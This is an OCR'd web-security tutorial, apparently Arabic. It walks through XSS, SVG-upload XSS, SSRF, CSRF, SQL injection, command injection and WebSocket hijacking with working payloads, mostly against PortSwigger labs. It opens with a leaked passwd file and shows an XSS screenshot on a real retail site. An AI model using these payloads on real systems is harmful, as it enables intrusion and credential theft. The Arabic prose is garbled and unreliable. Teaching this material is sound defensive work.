lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spocl/uucp:/usr/sbin/noleogin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbhin/nologin
irc:x:39:39:ircd:/var/run/ired:/usr/sbin/nolegin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nolegin
nobody:x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:2001:2001::/home/peter:/bin/bash
user:x:2000:2000::/home/user:/bin/bash
dnsmasq:x:101:65534 :dnsmasq, ,,:/var/lib/misc:/usr/sbin/nologin

lmessugebus:x:lOZ:lOl::/nonexistent:/usr/sbin/nolcain
Jastng Sl 9.5 s Sa GSISTSON I gayb e lilill Jogn siuSLll Gla

XML
XXE le y9.5 il o 180l Layls LazcLus

https://portswigger.net/web-security

oyl dio yS155 o Lirle LugS yroa by

CROSS SITE SCRIPTING (XSS)

SR Gire LglSuiing (w10 81alOWASP top 10 Il (& yus JSuin (59859 Lidy> 89 yg.il
AR g 4l xéaia (§ cuySanldls yalgl danattacker I San ga oy2ill dbluy JS cub
Ly a8 8 il J5a3

JWT tokens, CSRF tokens, and cookies]| §yurig (dg.iri jasi Lid 1o

Laag ladd ¢lgil3 sl aa
REFLECTED XSS

ble asls Gty i wil Llerror message éllelhy SUlg gubi dlaic pyidl dbluy JS
password glusername JI  $

) Alio
“The email or password you entered is not valid. Please try again.”
|y ailac el GUIGET request JI gerror JI uaiURL I ol xeaiall (¢ bsili adyg

S 3
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‘example.com/login.php?error=The+email+or+password+you+entered+is+not valid.+Pl

ease+try+again.’
- cC @ https://app.starbucks.com/account/signin?error=The%20email%200r%20password%20you:2.
% Qg&%-
Sign in or create an account %
Sign in unsuccessful. ®©
The email or password you entered is not valid.
Please try again.
Username or email address
ddsd
Password

‘error’Jl ¢llyl>GET parameter Jl Lo coyliy el Lo (65
39S cySanléls x5 L6y il Liy cpereflect alas dil Gusdll imall ol

& C @ httpsy//app.starbucks.com/account/signin?error=<sc

A app.starbucks.com says
Q \ Ghostlulz

Sign in or creaf

Username or email address

Password

Keep me signed in. Details

Sl 5500 1385 x> ] g glsy sl § s S a5 il b
|189Github ¢ Ligig
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STORED XSS

application J| 4 yilistored JI ¢)1icXSS reflected J| juSe ole

) S Limay

backend database I ¢ aijsaguser JI poinput Il ssby Gudnill Lo Jazn

GET request Jl (& Jaxu |y goill jinidguire Lil salell &

POST, PUT, UP JLbackend database I yui slio &) axl> Jas Mo (595 Lo claleil (g
DATE, and DELETE requests

11S 8 Lalea claleil SUTaliuwgSayll 6

Liall ellyygua lax Jrax 1y Jliall

Cross Site Scripting(XSS)

POST / comment.php?

INSERT ... text=<script>alert(1)</script>
'<script>alert(1)</script>'
“ ®

Se rver = == _’ -e

_ PR 4 Client 1
PR g <html>
U
’f Comments
PR g <scr|pt>alert(1)</scr|pt>
-
DB <html> O
SELECT ... =>

‘escript>alert(1)</script>' 0

Client 2

Ledayb e GUI g ando aaie s (pdnSLXl g olws Jawi clil dllsawn Gudni dluic o) L
) cLacd| JSMlist Josy agin

aacld (& (yisua ghldl ol Jassa SUNAS & (umo sghibusername I § gl )18 wilg
el sghll ol 8sliay bl pyein Sl 6 axanll il La) Toamyg eabill

len wlas GuinShdl e gl |y

Document Object Model (DOM)based

Ja=i glisle assia gsfunction Jl gjavascript function Jinput JI gagyuser JI Lol &y
DOM environmentl|
reflected or stored XSS gayb e draman |y

javascript @b (e aumai pin sghll ol LaySiai SUl s gll aslall 52 o
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S8 agaiag 1S Lia ()

<html>

<h1> You Searched for:</h1>

<div id ="searchquery"> </div>

<script>

var keyword = location.search.substring(3);
document.querySelector('searchquery').innerHTML = keyword;
<script>

</html>
Iy ey=l) §uhiSbWAPP Jlgdvwa Jl cabX |~ élsail

STORED XSS VIA SVG FILE
Scalable Vector Graphics(SVG)

Jibiusn )00 )lgbly 098:09SVG Il alall LLe JLia lsg

rectangle

<svg width="400" height="110">

<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-
width:3;stroke:rgb(0,0,0)" />

</svg>

ailidl algall gl (pineailll dalasiwl aio
8y9:0 dil Lle dlalei ) &THTML I § olas

<img sre="rectangle.svg" alt="Rectangle" height="42" width="42">

xss payload goSVGfile Jaxy gégall ol iz
Jzia ssL

<?xml version="1.0" standalone="no"?>

<DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.0rg/Graphics/SVG/1.1/DTD/svgi1.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.0rg/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-
width:3;stroke:rgb(0,0,0)" />

<script type="text/javascript">

alert("Ghostlulz XSS");

</script>

<[svg>

Aia oz @lal 0yg0 dil Gle |y alall gdyia dbluy JS9
burp JI ,lerequest Jl (9S4 lag
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POST /profilefupload HTTP/1.1

Host: XXXXXXXXX.com

User-

Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; 1v:69.0) Gecko/20100101 Firefox/6
9.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Bearer XXXXXXXXXXXXXXXXXX

Content-Type: multipart/form-data; boundary= 232181429808
Content-Length: 574

Connection: close

Referer: https://XXXXXXXXX

232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>

JIDOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.0rg/Graphics/SVG/1.1/DTD/svgi1.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.0rg/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-
width:3;stroke:rgb(0,0,0)" />

<script type="text/javascript">

alert("Ghostlulz XSS");

<[script>

</svg>
232181429808-

X @ (@ file:///Users/joe/Downloads/test.svg

Ghostlulz XSS

OK

SERVER SIDE REQUEST FORGERY (SSRF)
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parameter Value SURL lg:é Ulrequest I le you Lil Lgile ygal 5L Lo

SSRF 0y} e Joanl go (Saiy dil 138y San Sl Lgicl ¢l UJl_'reﬂect uresponse Jl gl

gllocal host JI pitupudl le U,Ulvulnerable endpoint Jl yu9i a9y Lil
google.com 1 Lo y21glocal network |

Request

Raw T Params I Headers I Hex ]

POST /product/stock HITP/1l.1

Host: ac2dlf941fff466e801d3b6al07a00fd.web-security-academy.net
User-Agent: Mozilla/S5S (Windows NT 10.0; Winé64; x64; rv:70.0)
Gecko/20100101 Firefo C

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 31

Origin: https ac2dlf941fff466e801d3b6al07a00fd.web-security-acade net
Connection: close

Referer:

https fac2dl1£941fff466e801d3b6al07a00fd.web-security-academy.net/product?p
roductId=1l

Cookie: session=al rUak4 80If« 79 gvSbhGa

stockApi=htt localhost/admin

g3l eliy jlusall’stockApi” Il a8 cyee Ll aS oyl el Lo 63

Guhill §1yb e pizarequest Jl Lo
SSRF a4 Lia X salell

? WEB SECURITY Basic SSRF against the local server

ACADEMY

Users

administrator - Delete
carlos - Delete
wiener - Delete

iall1s 98, Lgielan s8pell o ol Uyl 100y clac o]

S g909all @ Ul wmall cixll al cub
. alaallendpoint I S8 el gag

ol ydyullrequests Ly clil woy yasialocal host I Jlcendpoint iriaéla il g

ao)yldl aclvinternal network Jl
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metadata service JI )57 ¢lil L1y o3¢ glgoogle cloud JI le blaiuis Gulnl slio cudl o
credentialsl ;laSgAPI keys Jlretrieve 5 ;jLile

REQUEST POSTGIGET Lol Ly élio juu wiglhall J$

CROSS SITE REQUEST FORGERY (CSRF)

ol 3ygunldl i elil ddAls (40 5a85 Lattack Jl agan) din J5435 03X imyuser Jl L,Js)_»l.u lag
o Lalawi 5185 Lili asls 6l glattacker U ugld o ¢lil ol 61148 ol axéo &) acliy JoanXl

b
POST request |

Lattack Jl axle Jagia Ul ginSL2l glogged in Laguser Il ol ayX 118 Liase

dazia QJ_H cilmalicious site ole J340 a98.0 Lisuser Jl Loy

Jaouser Jl Ul gégall ilingShy cumdd Sl o il uS.o.a]avascnpt A alaisiwl leb
Cookies JI gayb (e aule

SUl elelisite )l Sle sy diluser I LS5 <18 61 148 (40 481 €48 90 § a8 sy SUl gl cu
S acly gginall (& PS}_LA el

diclicookies Jl gayb (e diduo Jaiid gl ealiiwgSay cumd élil s G )A85 &luic Jsadl

4. Send malicious request to target site

: Target Site i
3. Force target to send authenticated request to target site i
< Malicious Page
Target I

2. Target goes to malicious page

1. Get target to click on link

Attacker

pasiuall ol axall gl xaniall @1k gcauthenticated request  woy T ySLall Lia (0

b oe pan pelsdlemail Mgy agil Grossiiaall G GuinSll élaic ol Gili JLia _\>L\

from | lolay pgi
SCSRF attack JI (yo (prossiiwall saxy @il Jindapplication JI ¢l lila u,;.b

L‘_‘,.LC JBw Pw‘ ol F)X bydn 8l Pwl &Lu JLQ_\X‘ e dil yashattacker (G
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)38y axsiaall 545 §yb e Jlapdl 3¢ 90 118 ya2ll aule ising lglaleattacker JI Ul axanll
) ¢ S @l Jasy
8yt ga JUlemail Jl g1yb ge gasill aal LS Ll gl 3980l lsagrest password Jole agéy

Request

J Raw I Params I Headers I Hex ]

POST /email/change-email H

S wlao |y cewgSayl ¢l
refer headerl Xgauthentication header XgCSRF token jinéa 138 eyl el La gy ojLiidle

CSRF attack Jas'ilui Job Sle Lo
proof of concept (POC) axéo Jaxi a3 &lil by aiX Gu

<html>

<form id="exploit" action="https://acc71f681f28327e80e13486006a005a.web-
securityacademy.net/email /change-email" method="post">

<input name="email" value="attack@test.com">

<input type='submit’ value='submit’

</form>

<script>

document.getElementByld("exploit").submit()

</script>

< /html>

Request JI lgya3 guypoc Il Jawiy i8g)spro Jiburp Jl arwlially 1S 6 Mo

SQL INJECTION (sQLl)

applications databasell gliy sgixalldump 5 clil 8 Ll ¢lil y185 abliwy
3lg yudl dalSg ol 65 dnlius)l wilagleall JuiDatabases JI Aol ga Ulg
: MySQL a9 clilull aclgd ygil o

Gle sy laye e Jouin (Sang

MSSQL, PostgreSQL, Oracle, and more
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PAYLOADALLTHETHINGS:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SOL%2

las) 591 2389 yolino Sliga Lo

MySQL Il L2 lelilsi (San asls S|
larde youiTasi elil (& élygs 2 Lio

Invalid Product
Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1 of
SELECT * FROM mventory WHERE id =4

Iy l8all ($ 839390 ay2ill ol Bywi Lgiclu lserror Il wdgui o (8 Lgic iy il Lo <Ll

PostgreSQL J aua idgls
PostgreSQL Server Il JMeiwl glil ) xubgi 955 Liil Jglsia Lis| Liag

<« ¢ @ B https://ac311f0e1fe53ed1816d01af00d web-security-academy.net/filter?category
JSON Raw Data Headers
Save Copy Collapse All Expand All

“"Internal Server Error”

i Lagac Lghs AlmLaJ.,‘_légUIchb'Xlonb;Lbﬁl
@bildl oacld 4 SUI axacX| slael o ddac | Lo (0SQLE dud L oyl el ol agal

Gub oe
"order by" command.

1. order by 1
Target Site
Attacker
2. order by 2
iTargst Slle‘:

Attacker
3.orderby 3
Target Site’
Attacker
4. order by N
iTarget Sile‘:
Attacker

15lg agac ¢aic Jo ya il Jlady e @bl Gayb o asacXl sae jasi Jglan Lia el 333 0
) ¢ opgac dluic o d.\g.o_llfhwg agal $lgd1g 9o 3y Lidy €

g abibdl aacld o Uas @l Lgimelug € aaacl3 dluic Jo dlud loasmyg agal dllgéag 3pa ga
il pagac gy dud alibudl sacld Jgas o @yl el ¢l
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‘order by <Number here>--

< C @ 0 a

eb-security-scademy.ne
SQL injection UNION attack, retrieving multiple values in a
?’/ ACADEMY single column

SHOP ~~

Gifts' order by 2--

od & Drink  Gifts Lifestyle Toys & Games

Conversation Controlling Lemon

Couple's Umbrella

SUI 3aXl ol élls go elhasl gl gy 3y 385l Ll Jas SUE gL LS La) Liay cogliis il Lo (63
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28.web-security-academy.net/flter?catego

WEB SECU SQL injection UNION attack, retrieving muitiple values in a
?ACADEMY single column

 Back to lab home

SHOP ~

-Gifts' union select NULL,"VULNERABLE'-4
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VULNERABLE
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"union select NULL, table_name from information_schema.tables--

cademy.net/filter?category=-Gifts’ union select NULL, table_name from information_schema.tables--
pg_constraint

pg_hba_file_rules
pg_settings

users

pg_stat_all_indexes

role_table_grants

users dawul Jgi> pgio 35S Jolax glb Lo by wil Lo 63
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"union select NULL, column_name from information_schema.columns
where table_name = '<Table Name Here>'--
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Back to lab home

SHOP ~-

-Gifts' union select NULL, column_name from
information_schema.columns where table_name = 'users'--

password

eeeeeeee
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$1aS sy Ul aghsdl al
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‘concat()’ function

"union select NULL, concat(<Column Name>,",<Column Name 2>) from
<Table Name>--
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-Gifts' union select NULL, concat(username,":',pas
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Ligaa yiS1 38539 eleliy Jouidl ¢ oo tilgal bhxi j187T aald Lidgls
Sqlmap 99 pglewlg alal gyl Sle >y Job le lgiclws wlasendpoint cud) g) st

https://github.com/sqlmapproject/sglmap

COMMAND INJECTION

03185 s (yilagsia 155 puinSl alS L) LS sy Lagac yun Lasdals Lals U syl oo
RCE le lgbax) agil JAs o pgisilo lgley agil I9ya8) 55Slall cub Lan Gigy gublaa

ole alx¥argument JALS (o oyadq digS el SUl dlio 1slia wléhill jasy oLl e $
command line

O Juszill alas Gle slazedly cub lgusi pnolianall aidg imy las diiw 0588 (985 La Layls 639
&3 salgdlexecute J Slile asieia 1SS s Lil 518

RCEJ Jogig

Command Example os Description

& echo “hi” & echo “bye” Windows & Linux  Runs the first
command then
the second
command

&& echo “hi” && echo “bye” Windows & Linux | Runs the
second
command only
if the first
command was
successful


https://github.com/sqlmapproject/sqlmap
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echo “hi” | echo “bye” Windows & Linux | Pipe the first
commands
output into the
second
command
[| echo “hi” || echo “bye” Windows & Linux  Runs the
second
command only
if the first
command fails.
; echo “hi”; echo “bye” Linux Run the first
command then
the second
command.
Linux Run second
command
inside first
command.
Note those are
back tics NOT
single quotes
$(Command) echo “hi $(echo”bye”)” Linux Run second
command
inside first
command.

e

‘Command”  echo “hi " echo “bye

alex@alex-PowerEdge-R710:~$ echo "hi" & echo "bye"
[1] 4930

bye

hi

alex@alex-PowerEdge-R710:~$ echo "hi" && echo "bye"
hi

bye

[1]1+ Done echo "hi"
alex@alex-PowerEdge-R710:~$ echo "hi" | echo "bye"
bye

alex@alex-PowerEdge-R710:~$ echo "hi" || echo "bye"
hi

alex@alex-PowerEdge-R710:~$ echo "hi"; echo "bye"
hi

bye

alex@alex-PowerEdge-R710:~$ echo "hi “echo "bye"™"
hi bye

alex@alex-PowerEdge-R710:~$ echo "hi $(echo "bye")"
hi bye

o
& eild SUNalSuisall gy ja85 Lis lgiclw Glao Gudni u8 ol s el o) Mia isy
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Request Response

Raw | Params | Headers | Hex Raw | Heaq
POST roduct/stock HTTP/1l.1l H 1 2¢

academy.net/pr

Cookie: session

productId=lgstorelId=1; echo hi

L il Lo 53 3 ad ALl Is 103l o pgallgecho hi” Ls yodll sy GilS)l L8 Lia

salgl Judy Gl ol 1> GungS ybida lag
Sl Lzl o ol by e ¢liX 1> Lo 18,0 13Blind command injection U acaully wub

A0

oyl au pix |y yaXlgecho” aasid ¢lil yu85 eilblind command injection Jl ga
machinell _lchttp request Jawi clil gldnslookup  Jawi i clil glping Joawi (Sao wop
S Il o 5 Lasils o ol Simingo us anys§ 0,95 il oy5al

CROSS SITE WEB SOCKET HIJACKING (CSWSH)

@l padi Lls Websockt @yl iy JoRl pgai ai® ayoill >y § Ll Lo J.8

sl ol b @ sl gl (paligl el gl Gg dlin Jladl Juaxy glile leds § lgalisiwl
50 23 Jobs Jol sl (g i s Lol by el &1 o 5306 anllo
dlesy led grequest Juaxy Ling Jaxn SUl al pald 18,5 23X .y

server J| ;yo response

websocket J| g1y (e )Laish lsg

FUNTE pWi

https://www.agweeb.com/2019/05/websocket.html
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Live chat

You: hi
Hal Pline: I'm not at your beck and call 24/7 you know.
CONNECTED: - Now chatting with Hal Pline —
You: hi

Hal Pline: Send me some flowers and I'll tell you

Your message

ole J3a gluser I Lgiclud wilaa gaendpoint I ¢l (Saa ol Lid aySall @ ol o el élldgan s Jliall
i i LeloleAttacker JI (Ul axéuall
userl| aclicookies I Jeiuy y18)Attacker Jl Lgiclu
io 6y 6y3l @l e Jasattacker Jl (Sao Lia @ aliwga) LgAS (o cumng
o ) XSS, SQLI, RCE, etc
§ axl @iy Gino b S b
Attacker Jl gliy by Gle J5a cil loawg gdgall (§ Jawo user Lan a3 Jaxi gLileCSRE 695 agal
ainy agsyAttacker Jl Lo (o9
s §o8 I Jliall 130 LS Codb
138 gsburp Il xaai elil Gayb o bs glSall (§ GUl eludlyill pnai Bol a3l ay2ill Jasy oLiide Lo
Burp Project Intruder Repeater Window Help

[ Dashboard ITarget IP(oxy Intruder | Repeater I Sequencer I De

[ Intercept I HTTP history llWebSockets history I-

Filter: Showing all items

# v URL | Direction

133 https://ac9d1fb61ff209818068315e00d200... € To client
132 https://ac9d1fb61ff209818068315e00d200 €« To client
131 https://ac9d1fb61ff209818068315e00d200... € To client
130 https://ac9d1fb61ff209818068315e00d200... => To server
129 https://ac9d1fb61ff209818068315e00d200... € To client
128 https://ac9d1fb61ff209818068315e00d200 - To sever

Message

[l o)

"message":"hi"}

oiza gulidl §8)g aclny eldlyill lgaxay sl agilg uohttp history Jl W@yei Gulidl Glél Lia b
Iy 23l Jalsin ol web socket Il ¢g.090 48)le

§ g3 oyeill le you sl pgall

user I g5 elyj gigall § Jauuo laAttacker < il a3 ¥l

web socket connection. Jas) 0983 af 09 péaiall guai Sle sapistab xiai 1S 1)
live chat JI gliy guball Jle Jail @il lia o U1 Jliall § cubs
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11 Jasi @il e yal8 98 el Lgiclus awlas gsendpoint I o) Ly 153l g Lia b

ail Ul élinan Sle J5s L"J_Lﬁuser Il aeliy 3898 alasiwly $1g web socket connection.
Lelole

C A Not secure

websocket.org/echo.html

: web

Location:

.org

Log:

HOME

DEMOS

cnatting witn

wss://ac9d1fb61ff209818068315e00d2004¢

Ha

FIINE -}

ARTICLES

BOOK

DOy

Connect

h SENT: {"message""hi"}
Disconnect

RECEIVED: {"user":"You","content":"hi"}

RECEIVED: TYPING

RECEIVED: {"user™:"Hal Pline","content™:"I'm not at your

beck and call 24/7 you know."}

Clear log

Portswigger : §yb e ayeill 8135 j187

https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking

POC: I &Lu 398l @guini ()Saa Ling
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<IDOCTYPE html>

<meta charset="utf-8" />

<title>WebSocket Test</title>

<script language="JavaScript" type="text/JavaScript">

var wsUri = "wss:/lecho.websocket.org/™;
var output;

function init()

{

output = document.getElementByld("output”);
testWebSocket();
}

function testWebSocket()

{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };

}

function onOpen(evt)

{
writeToScreen("CONNECTED");
doSend("WebSocket rocks™);

}

function onClose(evt)

{
writeToScreen("DISCONNECTED");

}

function onMessage(evt)

{

writeToScreen('<span style="color: blue;">RESPONSE: * + evt.data+'</span>');

websocket.close();

}

function onError(evt)
{

writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);

}




function doSend(message)

{
writeToScreen("SENT: " + message);
websocket.send(message);

}

function writeToScreen(message)

{
var pre = document.createElement("p");
pre.style.wordWrap = “break-word";
pre.innerHTML = message;
output.appendChild(pre);

}

window.addEventListener("load™, init, false);
</script>

<h2>WebSocket Test</h2>

<div id="output"></div>
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@MuhammedMagdy

https://twitter.com/0Oxmagdy



https://twitter.com/k4r4m4ny
https://twitter.com/0xmagdy

